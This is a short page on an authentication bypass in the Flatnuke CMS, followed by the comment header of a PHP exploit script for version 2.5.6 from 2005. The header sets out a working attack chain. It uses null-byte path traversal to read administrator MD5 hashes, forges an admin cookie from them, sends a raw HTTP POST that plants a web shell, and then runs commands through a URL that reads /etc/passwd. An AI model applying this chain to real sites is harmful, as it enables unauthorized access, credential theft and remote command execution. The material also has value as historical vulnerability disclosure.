Flatnuke Authentication Bypass (Exploit)Summary
Flatnuke is "an open sourced CMS (Content Management System)". Flatnuke does not validate if the user that is trying to access the administration page is in fact an administrator, allowing normal users to gain access to the MD5 hashed password of the administrator as well as other users.

<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
#
# coded by rgod at http://rgod.altervista.org

# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc you can have any admin/user MD5 password
# hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
